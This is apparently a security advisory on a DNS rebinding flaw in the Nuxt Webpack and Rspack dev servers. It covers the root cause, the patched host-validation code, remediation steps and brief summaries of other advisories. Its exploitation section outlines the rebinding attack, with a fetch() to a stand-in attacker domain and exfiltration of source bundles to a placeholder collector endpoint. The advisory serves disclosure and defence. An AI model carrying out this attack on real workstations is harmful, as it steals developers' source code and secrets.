Nov 16, 2026·13 min read·4 visits
The development server middleware in @nuxt/webpack-builder (>= 3.0.0, < 4.6.4) and @nuxt/rspack-builder (>= 3.12.2, < 4.6.4) fails to validate the HTTP Host header against an allowlist prior to checking same-origin request headers. An attacker can use DNS rebinding to point an attacker-controlled domain to 127.0.0.1, causing the browser to send matching Host and Origin headers (and Sec-Fetch-Site: same-origin) to the local Nuxt development server, exfiltrating client bundles and source maps. Nuxt applications using the default Vite builder and production builds are unaffected. Upgrade to Nuxt 4.6.4 to remediate.
CVE-2026-128072 (GHSA-x2wv-5868-p7v2) is an origin validation vulnerability (CWE-346) in the Nuxt framework affecting the development middleware of @nuxt/webpack-builder and @nuxt/rspack-builder. Prior to version 4.6.4, the internal same-origin verification logic evaluated Sec-Fetch-Site, Origin, and Referer headers without first validating that the HTTP Host header belonged to an authorized hostname allowlist. This flaw allows a remote attacker to execute a DNS rebinding attack against a developer's local workstation, bypassing same-origin protections to read compiled client-side JavaScript chunks, inline source maps, local filesystem paths, and embedded client configuration values.
Nuxt is an open-source full-stack web application framework based on Vue.js and the Nitro server engine. While Nuxt defaults to using Vite (@nuxt/vite-builder) for bundling and hot module replacement (HMR) during local development, it also provides official first-party support for Webpack (@nuxt/webpack-builder) and Rspack (@nuxt/rspack-builder). When a developer executes nuxt dev with either the Webpack or Rspack builder enabled, the framework initializes an HTTP development server on the local loopback interface (typically localhost:3000) and mounts custom Node.js middleware to serve dynamically compiled client-side JavaScript chunks, CSS assets, and source maps under the /_nuxt/* path prefix.
Because local development servers hold unminified source code, inline source maps, internal directory structures, and environment variables injected into the client bundle, they are frequent targets for cross-origin data theft from malicious websites visited by the developer. To prevent arbitrary external websites from fetching /_nuxt/*.js assets via standard cross-origin fetch() calls or <script> tags, the Nuxt Webpack middleware implements a request inspection filter named isSameOriginRequest located in packages/webpack/src/utils/same-origin.ts.
In @nuxt/webpack-builder versions 3.0.0 through 4.6.3 and @nuxt/rspack-builder versions 3.12.2 through 4.6.3, this security filter suffered from an Origin Validation Error (CWE-346). Specifically, the middleware verified whether the incoming request was same-origin by checking if the Sec-Fetch-Site header equaled 'same-origin' or if the Origin or Referer hostname matched the HTTP Host header, without first verifying that the Host header itself represented a legitimate local or configured hostname.
This omission exposes the development server to DNS rebinding attacks. By dynamically rebinding an external attacker-controlled domain name from an internet-routable IP address to 127.0.0.1 or ::1, an attacker can cause a victim developer's web browser to issue requests directly to the local Nuxt server while retaining the attacker's domain in both the Host and Origin headers. Because the browser considers the request to be targeting the same origin (http://attacker-domain:3000), it automatically attaches Sec-Fetch-Site: same-origin, bypassing the middleware's security check and allowing unauthorized exfiltration of application source code and client-side secrets.
The root cause of CVE-2026-128072 lies in a flawed trust assumption regarding how browsers populate Fetch Metadata (Sec-Fetch-Site) and origin headers (Origin and Referer) relative to the HTTP Host header. The developer middleware in packages/webpack/src/utils/same-origin.ts was designed to distinguish between legitimate requests initiated by the developer's local application tab and cross-origin requests initiated by an external website in another tab.
In the vulnerable implementation, isSameOriginRequest(req) evaluated incoming requests using a three-stage fallback hierarchy:
sec-fetch-site header. If the header was present, the function immediately returned true if the value was 'same-origin' or 'none', and false otherwise.sec-fetch-site was absent, the function looked for an origin or referer header. If neither header existed (which can occur when a non-secure origin loads a <script> with Referrer-Policy: no-referrer), it fell back to isLoopbackHost(req.headers.host), checking whether the Host header was localhost, 127.0.0.1, or ::1.origin or referer header was present, it parsed the URL and compared new URL(initiator).host === firstHeader(req.headers.host).The critical flaw in this logic is that isLoopbackHost was only consulted in Stage 2 when both Sec-Fetch-Site and Origin/Referer headers were completely absent. In Stages 1 and 3, the code assumed that if the browser asserted the request was same-origin (or that the Origin matched the Host), the origin in question must be the local Nuxt development server.
During a DNS rebinding attack, the victim navigates to http://rebind.attacker.example:3000. The browser establishes the security origin based on the tuple (http, rebind.attacker.example, 3000). Once the DNS record for rebind.attacker.example expires and resolves to 127.0.0.1, any fetch('/_nuxt/entry.js') executed by the page's JavaScript is routed at the TCP/IP layer to 127.0.0.1:3000. However, at the HTTP application layer, the browser still believes it is communicating with http://rebind.attacker.example:3000. Consequently, the browser sends Host: rebind.attacker.example:3000, Origin: http://rebind.attacker.example:3000, and Sec-Fetch-Site: same-origin. Both Stage 1 and Stage 3 of isSameOriginRequest evaluate to true because they never verify whether rebind.attacker.example is an authorized host for the local server.
The remediation for CVE-2026-128072 was implemented across four commits in the nuxt/nuxt repository, primarily centering on commit f8d64c9aa773a033596532365d455890da9da197 and commit 3e1c7964e6843e1c5f218867a4ccd4cd00ad9ebb. These changes enforce strict Host header validation prior to evaluating any same-origin headers and introduce a configurable devServer.allowedHosts schema.
packages/webpack/src/utils/same-origin.ts)Before the patch, isSameOriginRequest immediately trusted sec-fetch-site without examining req.headers.host. The patch introduces parseHostname and isAllowedHost, making host allowlist verification a mandatory prerequisite at the entry point of isSameOriginRequest:
import { isIP } from 'node:net'
const LOOPBACK_HOSTNAMES = new Set(['localhost', '127.0.0.1', '::1'])
interface DevRequest {
headers: Record<string, string | string[] | undefined>
}
function firstHeader (value: string | string[] | undefined): string | undefined {
return Array.isArray(value) ? value[0] : value
}
// Safely extracts the hostname from the Host header, stripping ports and IPv6 brackets
function parseHostname (host: string): string | undefined {
const value = host.trim().toLowerCase()
if (value.startsWith('[')) {
const end = value.indexOf(']')
return end > 1 ? value.slice(1, end) : undefined
}
return value.split(':')[0] || undefined
}
function isLoopbackHost (host: string | undefined): boolean {
const hostname = host && parseHostname(host)
return !!hostname && LOOPBACK_HOSTNAMES.has(hostname)
}
// Validates the Host header against loopback defaults, IP literals, and user-configured allowedHosts
export function isAllowedHost (host: string | undefined, allowedHosts: readonly string[] | true = []): boolean {
if (!host || allowedHosts === true) { return true }
const hostname = parseHostname(host)
if (!hostname) { return false }
// Permit localhost, *.localhost (RFC 6761), and raw IPv4/IPv6 literals (immune to DNS rebinding)
if (hostname === 'localhost' || hostname.endsWith('.localhost') || isIP(hostname)) { return true }
for (const entry of allowedHosts) {
const allowed = entry.toLowerCase()
if (allowed === hostname) { return true }
if (allowed.startsWith('.') && (hostname === allowed.slice(1) || hostname.endsWith(allowed))) { return true }
}
return false
}
export function isSameOriginRequest (req: DevRequest, allowedHosts?: readonly string[] | true): boolean {
const host = firstHeader(req.headers.host)
// FIX: Reject any request whose Host header is not explicitly allowed before checking same-origin headers
if (!isAllowedHost(host, allowedHosts)) {
return false
}
const site = firstHeader(req.headers['sec-fetch-site'])
if (site !== undefined) {
return site === 'same-origin' || site === 'none'
}
const initiator = firstHeader(req.headers.origin) || firstHeader(req.headers.referer)
if (!initiator) {
return isLoopbackHost(host)
}
try {
return new URL(initiator).host === host
} catch {
return false
}
}> [!NOTE]
> The isAllowedHost function explicitly permits any valid IP literal via node:net's isIP(hostname) check. This is safe against DNS rebinding because a browser only sends an IP literal in the Host header when the user navigated directly to an IP address (e.g., http://127.0.0.1:3000 or http://192.168.1.50:3000). If the user is on an external website (http://evil.com), any cross-origin request to http://127.0.0.1:3000 will have Host: 127.0.0.1:3000 (passing isAllowedHost), but will then be blocked by the subsequent Sec-Fetch-Site: cross-site and Origin: http://evil.com checks.
In addition to updating isSameOriginRequest, commit 3c9645326a2b3f5cfa09c9a935db9b1825d560e7 and commit 8c11d965dad5bfc58d4c25e796915aec045acb78 ensured that both the asset-serving middleware (devMiddleware) and the Hot Module Replacement endpoint (hotMiddleware) in both @nuxt/webpack-builder (packages/webpack/src/webpack.ts) and @nuxt/rspack-builder (packages/rspack/src/rspack.ts) enforce the check and aggregate dynamically configured CLI hosts:
// packages/webpack/src/webpack.ts (and packages/rspack/src/rspack.ts)
function resolveAllowedHosts (nuxt: Nuxt): readonly string[] | true {
if (nuxt.options.devServer.allowedHosts === true || nuxt.options.vite.server?.allowedHosts === true) {
return true
}
return [
...nuxt.options.devServer.allowedHosts || [],
...(Array.isArray(nuxt.options.vite.server?.allowedHosts) ? nuxt.options.vite.server.allowedHosts : []),
]
}
// Inside createDevMiddleware:
return defineEventHandler(async (event) => {
const allowedHosts = resolveAllowedHosts(nuxt)
if (isForbiddenDevRequest(event.node.req, event.path, allowedHosts)) {
event.node.res.statusCode = 403
event.node.res.end('Forbidden')
return
}
await new Promise((resolve, reject) => {
devMiddleware(event.node.req, event.node.res, (err) => {
if (err) {
reject(err)
} else {
resolve(undefined)
}
})
})
if (!event.node.res.writableEnded && hotMiddleware) {
await hotMiddleware(event.node.req, event.node.res)
}
})The patch completely resolves the DNS rebinding vector across both @nuxt/webpack-builder and @nuxt/rspack-builder. By moving the isForbiddenDevRequest guard to the top of the unified defineEventHandler wrapper before either devMiddleware or hotMiddleware is invoked, an attacker cannot bypass the check via HMR EventSource endpoints (/__webpack_hmr) or client chunk endpoints (/_nuxt/*). Furthermore, resolveAllowedHosts dynamically inspects nuxt.options.devServer.allowedHosts per request rather than caching it before CLI overrides are applied.
Exploiting CVE-2026-128072 requires a multi-stage DNS rebinding attack combined with user interaction from a developer actively running a vulnerable Nuxt development server.
nuxt dev using @nuxt/webpack-builder (>= 3.0.0, < 4.6.4) or @nuxt/rspack-builder (>= 3.12.2, < 4.6.4).3000).rebind.attacker.example) and configures a custom authoritative DNS server (such as rbndr or Singularity of Origin). The DNS server is programmed to respond to the first A record query with the attacker's public web server IP (198.51.100.10) with a Time-To-Live (TTL) of 0 or 1 second, and to subsequent queries with 127.0.0.1.http://rebind.attacker.example:3000. The victim's OS/browser resolves the domain to 198.51.100.10 and loads the attacker's HTML/JavaScript payload from port 3000.fetch('http://rebind.attacker.example:3000/_nuxt/') or known chunk paths (such as /_nuxt/app.js, /_nuxt/entry.js, or /__webpack_hmr). Upon re-resolving the domain, the request is directed to 127.0.0.1:3000:GET /_nuxt/app.js HTTP/1.1
Host: rebind.attacker.example:3000
Connection: keep-alive
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://rebind.attacker.example:3000/Sec-Fetch-Site: same-origin, returns true from isSameOriginRequest, and serves the 200 OK response containing the compiled bundle and inline source maps. The malicious script reads the response body and transmits it back to a separate collector endpoint (https://collector.attacker.example/exfil).CVE-2026-128072 is rated Low severity with a CVSS v3.1 base score of 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N). The vulnerability strictly affects confidentiality (C:L) within local development environments and has no impact on application integrity (I:N) or availability (A:N). Production deployments (nuxt build or nuxt generate) do not include the development bundler middleware and are completely unaffected.
If an attacker successfully executes the DNS rebinding attack against a developer's workstation, the attacker gains read access to all assets served by the Webpack or Rspack development middleware under /_nuxt/* and /__webpack_hmr. Specifically, this exposes:
devtool: 'eval-cheap-module-source-map' or similar), allowing full reconstruction of original Vue components, TypeScript files, and proprietary business logic.runtimeConfig.public or hardcoded/inlined into the client bundle via DefinePlugin (such as staging API keys, internal microservice URLs, or third-party SDK tokens) can be extracted./Users/<username>/projects/company-app/pages/admin.vue), disclosing the developer's OS username and directory hierarchy.Real-world exploitability is constrained by several technical barriers reflected in the High Attack Complexity (AC:H) metric and the low EPSS score (0.00136 / 0.136%):
@nuxt/vite-builder), which uses Vite's built-in server host validation (server.allowedHosts) and is not affected by this flaw. Only projects explicitly configured with builder: 'webpack' or builder: 'rspack' are vulnerable.127.0.0.0/8, ::1) and block or prompt the user before allowing the connection to proceed.To remediate CVE-2026-128072, developers and organizations using @nuxt/webpack-builder or @nuxt/rspack-builder should upgrade Nuxt and its associated builder packages to version 4.6.4 or later.
Update nuxt and any explicitly installed builder dependencies in package.json using your package manager:
# Using npm
npm install nuxt@^4.6.4 @nuxt/webpack-builder@^4.6.4 @nuxt/rspack-builder@^4.6.4
# Using pnpm
pnpm update nuxt@^4.6.4 @nuxt/webpack-builder@^4.6.4 @nuxt/rspack-builder@^4.6.4
# Using yarn
yarn upgrade nuxt@^4.6.4 @nuxt/webpack-builder@^4.6.4 @nuxt/rspack-builder@^4.6.4devServer.allowedHostsStarting in Nuxt 4.6.4, the development server strictly restricts incoming Host headers to localhost, *.localhost, and raw IPv4/IPv6 literals by default. If your development workflow requires accessing the Nuxt dev server via custom local domain names, reverse proxies, container hostnames, or tunneling services (such as ngrok or Cloudflare Tunnels), you must explicitly allow those hostnames in nuxt.config.ts:
// nuxt.config.ts
export default defineNuxtConfig({
builder: 'webpack', // or 'rspack'
devServer: {
allowedHosts: [
'dev.local.company.internal',
'.tunnel.example.com' // A leading dot permits the root domain and all subdomains
]
}
})> [!WARNING]
> While devServer.allowedHosts accepts the boolean value true to disable Host header validation entirely, setting allowedHosts: true re-exposes the development server to DNS rebinding attacks and should never be used on workstations with internet access.
If an immediate upgrade to Nuxt 4.6.4 is not feasible, developers can mitigate the risk through the following measures:
builder: 'webpack' / builder: 'rspack' from nuxt.config.ts to use the default @nuxt/vite-builder.nuxt dev processes when not actively developing.CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
nuxt Nuxt | >= 3.0.0, < 4.6.4 | 4.6.4 |
@nuxt/webpack-builder Nuxt | >= 3.0.0, < 4.6.4 | 4.6.4 |
@nuxt/rspack-builder Nuxt | >= 3.12.2, < 4.6.4 | 4.6.4 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-128072 / GHSA-x2wv-5868-p7v2 |
| Weakness Class | CWE-346: Origin Validation Error (DNS Rebinding) |
| CVSS v3.1 Score | 3.1 Low (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |
| EPSS Score | 0.136% (3.09th Percentile) |
| Affected Components | @nuxt/webpack-builder (< 4.6.4), @nuxt/rspack-builder (< 4.6.4) |
| Impact | Exfiltration of local dev client bundles, source maps, and filesystem paths |
| Exploit Status | Conceptual PoC (DNS Rebinding); Not in CISA KEV |
| Fixed Version | Nuxt 4.6.4 |
The software does not properly verify that the source of data or communication is valid, specifically trusting same-origin indicators relative to an unvalidated HTTP Host header.
CVE-2026-128076 is an improper encoding and delimiter injection vulnerability in the Nuxt framework affecting Server Components (NuxtIsland). The flaw serves as an incomplete fix for CVE-2026-46342, where the underlying object hashing routine fails to escape structural delimiters in property keys and string values. This enables attackers to craft distinct sets of component properties that resolve to an identical `/__nuxt_island/<Name>_<hash>.json` route path. In deployments relying on static prerendering or path-only CDN caching, this hash collision permits cache poisoning, content substitution, and Cross-Site Scripting (XSS) if island props flow into unescaped HTML sinks.
CVE-2026-128087 (GHSA-9264-jvgf-6w2f) is an incorrect behavior order (CWE-696) and improper authorization (CWE-863) vulnerability in the russh Rust SSH library, affecting versions 0.55.0 through 0.65.0. During the initial SSH key exchange (KEX) handshake, the client state machine invokes the client::Handler::kex_done() callback—providing the negotiated raw shared secret bytes—prior to validating the remote server's host key or certificate via check_server_key(). Consequently, an untrusted or rogue SSH server can complete cryptographic key agreement and force a connecting client to execute side-effecting application logic inside kex_done() before the server's identity is checked and rejected.
CVE-2026-128082 (GHSA-6vhm-j9h7-f9gh) is an uncontrolled recursion vulnerability (CWE-674) in AutoMapper, a convention-based object-object mapper for .NET. When mapping nested or self-referential types into destination models that rely on parameterized constructors, C# positional records, or recursive ConstructUsing expressions, AutoMapper evaluates child constructor arguments prior to incrementing the parent's recursion depth counter. This ordering flaw bypasses both explicit MaxDepth limits and the default depth limit of 64. An unauthenticated remote attacker can supply deeply nested input payloads to affected endpoints, exhausting the thread call stack and triggering an uncatchable System.StackOverflowException that terminates the hosting .NET process.
An information exposure vulnerability in the @opentelemetry/instrumentation-http package for OpenTelemetry JavaScript versions 0.204.0 prior to 0.222.0 causes incoming HTTP server spans to record raw, unredacted query string parameters under the url.query attribute. While outgoing client spans applied built-in and user-configured query parameter redaction, incoming server spans bypassed this sanitization completely, resulting in the transmission of sensitive credentials such as pre-signed cloud URLs and API tokens to external observability backends.
CVE-2026-128089 is an uncontrolled resource consumption vulnerability in the dnspython toolkit for Python, affecting all versions prior to 2.9.2. When parsing Well-Known Service (WKS) records from text via dns.rdtypes.IN.WKS.WKS.from_text(), the parser fails to validate that numeric service port identifiers fall within the RFC 1035 valid range of 0 through 65535. An attacker capable of supplying untrusted zone files or RDATA text strings containing an arbitrarily large service port integer can force the parser to allocate an unbounded bitmap array using an inefficient linear append loop, resulting in severe CPU exhaustion, application hangs, or Out-Of-Memory (OOM) process termination.
CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.